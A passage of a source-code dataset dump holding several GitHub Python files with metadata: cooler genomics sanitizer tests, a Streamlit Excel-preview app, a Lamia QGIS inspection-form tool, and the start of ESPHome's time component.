lines.insert(np.random.randint(len(lines)), line)\n return \"\\n\".join(lines)\n\n\ndef test_sanitize_records():\n\n chunk = pd.read_csv(StringIO(valid_data), sep=\"\\t\", names=columns)\n with pytest.raises(ValueError):\n sanitize_records(\n bins,\n schema=\"doesnotexist\",\n validate=True,\n tril_action=\"reflect\",\n is_one_based=True,\n sort=True,\n )(chunk.copy())\n\n chunk = pd.read_csv(StringIO(valid_data), sep=\"\\t\", names=columns)\n sanitize_records(\n bins,\n schema=\"pairs\",\n validate=True,\n tril_action=\"reflect\",\n is_one_based=True,\n sort=True,\n )(chunk.copy())\n\n # variable-length bins\n chunk = pd.read_csv(StringIO(valid_data), sep=\"\\t\", names=columns)\n sanitize_records(\n pd.DataFrame({\n 'chrom': ['chr1', 'chr1', 'chr2', 'chr2', 'chr3'],\n 'start': [0, 150, 0, 100, 0],\n 'end': [150, 300, 100, 300, 300],\n }),\n schema=\"pairs\",\n validate=True,\n tril_action=\"reflect\",\n is_one_based=True,\n sort=True,\n )(chunk.copy())\n\n # input with already enum-encoded chromosomes (decode_chroms=False)\n text = \"\"\"0\\t1\\t+\\t1\\t100\\t-\\t.\\tLL\\t1\n1\\t99\\t+\\t0\\t13\\t-\\t.\\tLL\\t0\n1\\t13\\t+\\t1\\t60\\t-\\t.\\tLL\\t1\n0\\t200\\t+\\t1\\t50\\t-\\t.\\tLL\\t1\n2\\t11\\t+\\t2\\t40\\t-\\t.\\tLL\\t1\n0\\t234\\t+\\t2\\t30\\t-\\t.\\tLL\\t1\n2\\t3\\t+\\t1\\t20\\t-\\t.\\tLL\\t0\n1\\t23\\t+\\t2\\t11\\t-\\t.\\tLL\\t1\n0\\t123\\t+\\t-1\\t200\\t-\\t.\\tLL\\t1\n\"\"\"\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n sanitize_records(\n bins,\n schema=\"pairs\",\n decode_chroms=False,\n validate=True,\n tril_action=\"reflect\"\n )(chunk.copy())\n # fails on string chromosomes\n chunk = pd.read_csv(StringIO(valid_data), sep=\"\\t\", names=columns)\n with pytest.raises(BadInputError):\n sanitize_records(\n bins,\n schema=\"pairs\",\n decode_chroms=False,\n validate=True,\n tril_action=\"reflect\"\n )(chunk.copy())\n\n # empty chunk\n out = sanitize_records(\n bins,\n schema=\"pairs\",\n validate=True,\n tril_action=\"reflect\"\n )(chunk.iloc[0:0])\n assert len(out) == 0\n\n\ndef test_sanitize_records_triu_action():\n text = valid_data\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n out = sanitize_records(bins, schema=\"pairs\", validate=True, tril_action=\"reflect\")(\n chunk.copy()\n )\n is_tril = ~np.array(out[\"triu\"], dtype=bool)\n is_tril_ix = out.index[is_tril]\n assert np.all(out.loc[is_tril_ix, \"chrom1\"] == chunk.loc[is_tril_ix, \"chrom2\"])\n assert np.all(out.loc[is_tril_ix, \"chrom2\"] == chunk.loc[is_tril_ix, \"chrom1\"])\n assert np.all(out.loc[is_tril_ix, \"strand1\"] == \"+\")\n\n text = valid_data\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n out = sanitize_records(bins, schema=\"pairs\", validate=True, tril_action=\"drop\")(\n chunk.copy()\n )\n is_tril = ~np.array(out[\"triu\"], dtype=bool)\n is_tril_ix = out.index[is_tril]\n assert np.all(out.loc[is_tril_ix, \"chrom1\"] == chunk.loc[is_tril_ix, \"chrom2\"])\n assert np.all(out.loc[is_tril_ix, \"chrom2\"] == chunk.loc[is_tril_ix, \"chrom1\"])\n assert np.all(out.loc[is_tril_ix, \"strand1\"] == \"+\")\n assert len(out) == chunk[\"triu\"].sum()\n\n func = sanitize_records(bins, schema=\"pairs\", validate=True, tril_action=\"raise\")\n text = valid_data\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n with pytest.raises(BadInputError):\n func(chunk)\n\n\ndef test_sanitize_records_with_strand_column():\n text = valid_data\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n out = sanitize_records(\n bins,\n schema=\"pairs\",\n validate=True,\n tril_action=\"reflect\",\n sided_fields=(\"chrom\", \"pos\", \"strand\"),\n )(chunk.copy())\n is_tril = ~np.array(out[\"triu\"], dtype=bool)\n assert np.all(out.loc[is_tril, \"chrom1\"] == chunk.loc[is_tril, \"chrom2\"])\n assert np.all(out.loc[is_tril, \"chrom2\"] == chunk.loc[is_tril, \"chrom1\"])\n assert np.all(out.loc[is_tril, \"strand1\"] == \"-\")\n\n\ndef test_sanitize_records_with_nuisance_records():\n text = _insert_lines(valid_data, nuisance_chroms)\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n out = sanitize_records(bins, schema=\"pairs\", validate=True, tril_action=\"reflect\")(\n chunk.copy()\n )\n assert (\"chr9\" not in out[\"chrom1\"]) and (\"chr9\" not in out[\"chrom2\"])\n\n\ndef test_sanitize_records_with_bad_records():\n func = sanitize_records(bins, schema=\"pairs\", validate=True, tril_action=\"reflect\")\n\n text = _insert_lines(valid_data, oob_lower)\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n with pytest.raises(BadInputError):\n func(chunk)\n\n text = _insert_lines(valid_data, oob_upper)\n chunk = pd.read_csv(StringIO(text), sep=\"\\t\", names=columns)\n with pytest.raises(BadInputError):\n func(chunk)\n\n\ndef test_sanitize_pixels():\n bins = cooler.binnify(\n cooler.util.read_chromsizes(op.join(datadir, \"toy.chrom.sizes\")), 1\n )\n chunk = pd.read_csv(\n op.join(datadir, \"toy.symm.upper.1.zb.coo\"),\n sep='\\t',\n names=['bin1_id', 'bin2_id', 'count']\n )\n chunk['foo1'] = 4\n chunk['foo2'] = 2\n sanitize_pixels(\n bins,\n )(chunk.copy())\n\n # one-based bin IDs\n out = sanitize_pixels(\n bins,\n is_one_based=True,\n )(chunk.copy())\n assert (out['bin1_id'] == chunk['bin1_id'] - 1).all()\n\n # tril action: reflect (after swapping bin1, bin2)\n tril_chunk = chunk.copy()\n tril_chunk['bin2_id'] = chunk['bin1_id']\n tril_chunk['bin1_id'] = chunk['bin2_id']\n out = sanitize_pixels(\n bins,\n tril_action=\"reflect\",\n sided_fields=['foo'],\n )(tril_chunk.copy())\n assert len(out) == len(chunk)\n assert (out['foo2'] == chunk['foo1']).all()\n assert (out['foo1'] == chunk['foo2']).all()\n assert (out['bin1_id'] == chunk['bin1_id']).all()\n assert (out['bin2_id'] == chunk['bin2_id']).all()\n\n # tril action: drop\n out = sanitize_pixels(\n bins,\n tril_action=\"drop\",\n )(tril_chunk.copy())\n assert len(out) == 0\n\n # tril action: raise\n with pytest.raises(BadInputError):\n sanitize_pixels(\n bins,\n tril_action=\"raise\",\n )(tril_chunk.copy())\n\n\ndef test_validate_pixels():\n bins = cooler.binnify(\n cooler.util.read_chromsizes(op.join(datadir, \"toy.chrom.sizes\")), 1\n )\n chunk = pd.read_csv(\n op.join(datadir, \"toy.symm.upper.1.zb.coo\"),\n sep='\\t',\n names=['bin1_id', 'bin2_id', 'count']\n )\n validator = validate_pixels(\n len(bins),\n boundscheck=True,\n triucheck=True,\n dupcheck=True,\n ensure_sorted=True\n )\n validator(chunk.copy())\n validator(chunk.to_dict(orient='series'))\n\n # wrongly assume zero-based, producing -1 bins IDs\n chunk_ = sanitize_pixels(\n bins,\n is_one_based=True,\n )(chunk.copy())\n with pytest.raises(BadInputError):\n validator(chunk_)\n\n # out-of-bounds bin ID\n chunk_ = chunk.copy()\n chunk_.at[-1, 'bin1_id'] = len(bins) + 1\n with pytest.raises(BadInputError):\n validator(chunk_)\n\n # pass in non-triu data\n tril_chunk = chunk.copy()\n tril_chunk['bin2_id'] = chunk['bin1_id']\n tril_chunk['bin1_id'] = chunk['bin2_id']\n with pytest.raises(BadInputError):\n validator(tril_chunk)\n\n # pass in duplicates\n with pytest.raises(BadInputError):\n validator(pd.concat([chunk, chunk], ignore_index=True))\n\n\ndef test_aggregate_records():\n bins = cooler.binnify(\n cooler.util.read_chromsizes(op.join(datadir, \"toy.chrom.sizes\")), 1\n )\n records = pd.read_csv(\n op.join(datadir, \"toy.pairs\"),\n sep='\\t',\n names=[\n \"read_id\",\n \"chrom1\", \"pos1\",\n \"chrom2\", \"pos2\",\n \"strand1\", \"strand2\",\n \"value\"\n ]\n )\n sanitizer = sanitize_records(\n bins,\n schema=\"pairs\",\n validate=False,\n tril_action=\"reflect\",\n is_one_based=False,\n sort=False,\n )\n chunk = sanitizer(records)\n\n aggregator = aggregate_records()\n aggregator(chunk)\n", "repo_name": "open2c/cooler", "sub_path": "tests/test_create_sanitize.py", "file_name": "test_create_sanitize.py", "file_ext": "py", "file_size_in_byte": 9582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 175, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.realpath", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 50, "usage_type": "call"}, {"api_name": "cooler.util.binnify", "line_number": 51, "usage_type": "call"}, {"api_name": "cooler.util", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 63, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 64, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 74, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 74, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 85, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 85, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 87, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 110, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 110, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 111, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 119, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 119, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 120, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 120, "usage_type": "argument"}, {"api_name": "cooler.create.sanitize_records", "line_number": 121, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 130, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 141, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 141, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 149, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 152, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 152, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 160, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 163, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 165, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 165, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 166, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 166, "usage_type": "argument"}, {"api_name": "pandas.read_csv", "line_number": 172, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 172, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 183, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 188, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 188, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 189, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_records", "line_number": 196, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 199, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 199, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 200, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 200, "usage_type": "argument"}, {"api_name": "pandas.read_csv", "line_number": 204, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 204, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 205, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 205, "usage_type": "argument"}, {"api_name": "cooler.binnify", "line_number": 210, "usage_type": "call"}, {"api_name": "cooler.util.read_chromsizes", "line_number": 211, "usage_type": "call"}, {"api_name": "cooler.util", "line_number": 211, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "name"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 220, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 225, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 235, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 247, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 254, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 254, "usage_type": "argument"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 255, "usage_type": "call"}, {"api_name": "cooler.binnify", "line_number": 262, "usage_type": "call"}, {"api_name": "cooler.util.read_chromsizes", "line_number": 263, "usage_type": "call"}, {"api_name": "cooler.util", "line_number": 263, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path", "line_number": 263, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "name"}, {"api_name": "cooler.create.validate_pixels", "line_number": 270, "usage_type": "call"}, {"api_name": "cooler.create.sanitize_pixels", "line_number": 281, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 285, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 285, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 291, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 291, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 298, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 298, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 302, "usage_type": "call"}, {"api_name": "cooler.create.BadInputError", "line_number": 302, "usage_type": "argument"}, {"api_name": "pandas.concat", "line_number": 303, "usage_type": "call"}, {"api_name": "cooler.binnify", "line_number": 307, "usage_type": "call"}, {"api_name": "cooler.util.read_chromsizes", "line_number": 308, "usage_type": "call"}, {"api_name": "cooler.util", "line_number": 308, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 308, "usage_type": "call"}, {"api_name": "os.path", "line_number": 308, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 310, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 311, "usage_type": "call"}, {"api_name": "os.path", "line_number": 311, "usage_type": "name"}, {"api_name": "cooler.create.sanitize_records", "line_number": 321, "usage_type": "call"}, {"api_name": "cooler.create.aggregate_records", "line_number": 331, "usage_type": "call"}]} {"seq_id": "71372202143", "text": "import pandas as pd\nimport streamlit as st\nimport base64\nimport pyperclip\nimport tabulate\n\ndef main():\n st.title(\"Display Top 5 Rows of Excel File\")\n st.write(\"\")\n\n # File upload\n uploaded_file = st.file_uploader(\"Choose an Excel file\", type=[\"xls\", \"xlsx\"])\n\n if uploaded_file is not None:\n try:\n # Load the first sheet of the Excel file into a Pandas dataframe\n df = pd.read_excel(uploaded_file, sheet_name=0)\n\n # Display the top 5 rows of the dataframe\n st.write(df.head(5))\n\n # Download link\n csv = df.head(5).to_csv(index=False)\n b64 = base64.b64encode(csv.encode()).decode()\n st.markdown('### Download Output')\n href = f'Download CSV File'\n st.markdown(href, unsafe_allow_html=True)\n\n # Copy table to clipboard\n st.markdown('### Copy Table')\n if st.button(\"Copy table to clipboard\"):\n pyperclip.copy(df.head(5).to_clipboard(index=False, sep = '\\t'))\n st.success(\"Table copied to clipboard!\")\n except Exception as e:\n st.write(\"Error: {}\".format(str(e)))\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "PraveenKumarGarlapati/Streamlit", "sub_path": "app1.py", "file_name": "app1.py", "file_ext": "py", "file_size_in_byte": 1275, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "streamlit.title", "line_number": 8, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 9, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 20, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 24, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 25, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 30, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 31, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.success", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 35, "usage_type": "call"}]} {"seq_id": "1803722086", "text": "import os, inspect, datetime\nfrom qgis.PyQt import uic, QtCore, QtGui\nfrom qgis.PyQt.QtWidgets import (QWidget)\n\nfrom ..base2.lamiabase_desordre_tool import BaseDesordreTool\nfrom .lamiabasechantier_observation_tool import BaseChantierObservationTool as BaseObservationTool\nfrom .lamiabasechantier_croquis_tool import BaseChantierCroquisTool as BaseCroquisTool\nfrom .lamiabasechantier_photo_tool import BaseChantierPhotoTool as BasePhotoTool\nfrom .lamiabasechantier_rapport_tool import BaseChantierRapportTool as BaseRapportTool\n#from .lamiabasechantier_lidchooser import LidChooserWidget\nfrom ..subwidgets.subwidget_lidchooser import LidChooserWidget\n\n\n\nclass BaseChantierDesordreTool(BaseDesordreTool):\n\n tooltreewidgetSUBCAT = 'Proces verbal'\n\n def __init__(self, **kwargs):\n super(BaseChantierDesordreTool, self).__init__(**kwargs)\n\n\n \"\"\"\n def initTool(self):\n super(BaseChantierDesordreTool, self).initTool()\n #self.NAME = 'Campagne de reconnaissance'\n #self.qtreewidgetfields = ['libelle']\n #self.linkedgeom = [['Desordre', 'lid_descriptionsystem']]\n self.NAME = 'Fiches'\n self.visualmode = [0,1]\n\n self.nclist = [['Généralités',None,False],\n ['Description', 'NCA',True],\n ['Proposition/avis', 'NCB',True],\n ['Vérification', 'NCC',True],\n ['Levée', 'NCD',True],\n ['Recherche des causes', 'NCE',False]\n ]\n\n\n\n\n\n \"\"\"\n\n def initMainToolWidget(self):\n\n\n\n if self.dbase.variante in [None, 'Lamia']:\n\n self.toolwidgetmain = UserUI()\n\n self.formtoolwidgetconfdictmain = {'Desordre': {'linkfield': 'id_desordre',\n 'widgets': {\n #'groupedesordre': self.toolwidgetmain.comboBox_groupedes,\n 'detecteur': self.toolwidgetmain.comboBox_detecteur,\n 'detecteur_com': self.toolwidgetmain.lineEdit_detecteur,\n\n }},\n 'Objet': {'linkfield': 'id_objet',\n 'widgets': {}}}\n\n self.TABLEFILTERFIELD = {'groupedesordre' : 'PVE'}\n\n #self.toolwidgetmain.comboBox_groupedes.currentIndexChanged.connect(self.changeGroupe)\n #self.toolwidgetmain.comboBox_groupedes.setCurrentIndex(1)\n self.toolwidgetmain.stackedWidget.setCurrentIndex(1)\n\n # non conformité\n #for elem in self.nclist:\n # itemname = elem[0]\n # self.toolwidgetmain.listWidget_nonconf.addItem(itemname)\n #self.toolwidgetmain.listWidget_nonconf.currentItemChanged.connect(self.itemChangedNonConformite)\n\n\n # ****************************************************************************************\n # child widgets\n self.dbasechildwdgfield = []\n self.instancekwargs['parentwidget'] = self\n self.lamiawidgets = []\n \n #pv mise a dispo\n propertieswdgOBSERVATIONpv = BaseObservationTool(**self.instancekwargs)\n #propertieswdgOBSERVATIONpv.NAME = None\n #propertieswdgOBSERVATIONpv.setOBSTYPE('PVA', True)\n propertieswdgOBSERVATIONpv.tooltreewidgetSUBCAT = 'Mise a dispo'\n propertieswdgOBSERVATIONpv.TABLEFILTERFIELD = {'typeobservation': 'PVA' }\n # self.obsdict[wdgname].OBSTYPE = itemtype\n self.toolwidgetmain.stackedWidget.widget(1).layout().addWidget(propertieswdgOBSERVATIONpv)\n self.dbasechildwdgfield.append(propertieswdgOBSERVATIONpv)\n\n\n\n else:\n self.unloadWidgetinToolTree()\n self.loadWidgetinToolTree = lambda: None\n #self.toolTreeWidgetCurrentItemChanged = lambda: None\n\n\n def magicFunction(self):\n self.featureSelected()\n self.addGPSPoint()\n self.saveFeature()\n for wdgobservation in self.dbasechildwdgfield:\n if hasattr(wdgobservation, 'OBSTYPE') and wdgobservation.OBSTYPE == 'NCA':\n wdgobservation.featureSelected()\n wdgobservation.saveFeature()\n\n\n # def postInitFeatureProperties(self, feat):\n def postSelectFeature(self):\n super(BaseChantierDesordreTool, self).postSelectFeature()\n \"\"\"\n self.updateListSymbols()\n\n if self.currentFeaturePK is None:\n #self.toolwidgetmain.listWidget_nonconf.setCurrentRow(0)\n\n if self.dbase.variante in ['Orange']:\n datecreation = str(datetime.datetime.now().strftime(\"%Y-%m-%d\"))\n #self.initFeatureProperties(feat, self.DBASETABLENAME, 'datedebuttravaux', datecreation)\n #self.initFeatureProperties(feat, self.DBASETABLENAME, 'datefincontractuelle', datecreation)\n #datecreation = str(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n ##self.initFeatureProperties(feat, 'Ressource', 'datetimeressource', datecreation)\n self.formutils.applyResultDict({'datedebuttravaux' : datecreation},checkifinforgottenfield=False)\n self.formutils.applyResultDict({'datefincontractuelle' : datecreation},checkifinforgottenfield=False)\n \"\"\"\n\n\n\n\n\n\n def printWidget(self):\n\n #create finelname\n pdfdirectory = os.path.join(self.dbase.dbaseressourcesdirectory, 'Print')\n if not os.path.isdir(pdfdirectory):\n os.mkdir(pdfdirectory)\n\n currentid = self.dbase.getValuesFromPk('Desordre', 'id_desordre',self.currentFeaturePK )\n\n date = str(datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\"))\n\n filename = str(currentid) + '_desordre_' + date + '.pdf'\n\n pdffielname = os.path.join(pdfdirectory,filename )\n\n\n #choose phaseA report or phase C report\n sql = \"SELECT typeobservation FROM Observation_now WHERE Observation_now.lid_desordre = \" + str(currentid)\n sql = self.dbase.updateQueryTableNow(sql)\n res = self.dbase.query(sql)\n\n if res is not None and len(res) > 0 and not self.dbase.utils.isAttributeNull(res[0][0]):\n if res[0][0] == 'PVA':\n reportype = 'procesverbalmiseadisposition'\n\n elif res[0][0][0:2] == 'NC':\n sql = \"SELECT id_observation FROM Observation_now WHERE Observation_now.typeobservation = 'NCB'\"\n sql += \" AND Observation_now.lid_desordre = \" + str(currentid)\n sql = self.dbase.updateQueryTableNow(sql)\n res = self.dbase.query(sql)\n if self.dbase.variante in [None, 'Lamia']:\n if res is not None and len(res) > 0 and not self.dbase.utils.isAttributeNull(res[0][0]):\n reportype = 'TRAMnonconformite'\n else:\n reportype = 'TRAMnonconformitephaseA'\n elif self.dbase.variante in ['Orange']:\n print('*********ORANGEnonconformitephaseA')\n reportype = 'ORANGEnonconformitephaseA'\n\n else:\n return\n\n #load rapport tool\n if not self.windowdialog.desktopuiloaded:\n self.windowdialog.loadUiDesktop()\n wdg = None\n for i, tool in enumerate(self.windowdialog.tools):\n # print(tool.__class__.__name__)\n if 'RapportTool' in tool.__class__.__name__:\n wdg = self.windowdialog.tools[i]\n break\n\n wdg.createconfData()\n impressionpdfworker = inspect.getmodule(wdg).printPDFBaseWorker(dbase=self.dbase,\n windowdialog=self.windowdialog,\n parentprintPDFworker=None,\n confData=wdg.confData,\n pdffile=pdffielname,\n reporttype=reportype,\n templatedir=wdg.confdatamain,\n #idlist={0: [currentid]},\n idlist={0: [self.currentFeaturePK]},\n )\n\n impressionpdfworker.work()\n\n\n\nclass UserUI(QWidget):\n def __init__(self, parent=None):\n super(UserUI, self).__init__(parent=parent)\n uipath = os.path.join(os.path.dirname(__file__), 'lamiabasechantier_desordre_tool_ui.ui')\n uic.loadUi(uipath, self)\n\nclass UserUI_Orange(QWidget):\n def __init__(self, parent=None):\n super(UserUI_Orange, self).__init__(parent=parent)\n uipath = os.path.join(os.path.dirname(__file__), 'lamiabasechantier_desordre_tool_orange_ui.ui')\n uic.loadUi(uipath, self)\n", "repo_name": "Artelia/Lamia", "sub_path": "qgisiface/iface/qgiswidget/tools/old/toolprepro/base2_chantier/lamiabasechantier_desordre_tool_tram_pv.py", "file_name": "lamiabasechantier_desordre_tool_tram_pv.py", "file_ext": "py", "file_size_in_byte": 9284, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base2.lamiabase_desordre_tool.BaseDesordreTool", "line_number": 15, "usage_type": "name"}, {"api_name": "lamiabasechantier_observation_tool.BaseChantierObservationTool", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 140, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 144, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "inspect.getmodule", "line_number": 188, "usage_type": "call"}, {"api_name": "qgis.PyQt.QtWidgets.QWidget", "line_number": 203, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 206, "usage_type": "call"}, {"api_name": "qgis.PyQt.uic.loadUi", "line_number": 207, "usage_type": "call"}, {"api_name": "qgis.PyQt.uic", "line_number": 207, "usage_type": "name"}, {"api_name": "qgis.PyQt.QtWidgets.QWidget", "line_number": 209, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 212, "usage_type": "call"}, {"api_name": "qgis.PyQt.uic.loadUi", "line_number": 213, "usage_type": "call"}, {"api_name": "qgis.PyQt.uic", "line_number": 213, "usage_type": "name"}]} {"seq_id": "9529453259", "text": "import bisect\nimport datetime\nimport logging\nimport math\nimport string\n\nimport pytz\nimport tzlocal\n\nimport esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome import automation\nfrom esphome.const import CONF_CRON, CONF_DAYS_OF_MONTH, CONF_DAYS_OF_WEEK, CONF_HOURS, \\\n CONF_MINUTES, CONF_MONTHS, CONF_ON_TIME, CONF_SECONDS, CONF_TIMEZONE, CONF_TRIGGER_ID, \\\n CONF_AT, CONF_SECOND, CONF_HOUR, CONF_MINUTE\nfrom esphome.core import coroutine, coroutine_with_priority\n\n_LOGGER = logging.getLogger(__name__)\n\nIS_PLATFORM_COMPONENT = True\n\ntime_ns = cg.esphome_ns.namespace('time')\nRealTimeClock = time_ns.class_('RealTimeClock', cg.Component)\nCronTrigger = time_ns.class_('CronTrigger', automation.Trigger.template(), cg.Component)\nESPTime = time_ns.struct('ESPTime')\n\n\ndef _tz_timedelta(td):\n offset_hour = int(td.total_seconds() / (60 * 60))\n offset_minute = int(abs(td.total_seconds() / 60)) % 60\n offset_second = int(abs(td.total_seconds())) % 60\n if offset_hour == 0 and offset_minute == 0 and offset_second == 0:\n return '0'\n if offset_minute == 0 and offset_second == 0:\n return f'{offset_hour}'\n if offset_second == 0:\n return f'{offset_hour}:{offset_minute}'\n return f'{offset_hour}:{offset_minute}:{offset_second}'\n\n\n# https://stackoverflow.com/a/16804556/8924614\ndef _week_of_month(dt):\n first_day = dt.replace(day=1)\n dom = dt.day\n adjusted_dom = dom + first_day.weekday()\n return int(math.ceil(adjusted_dom / 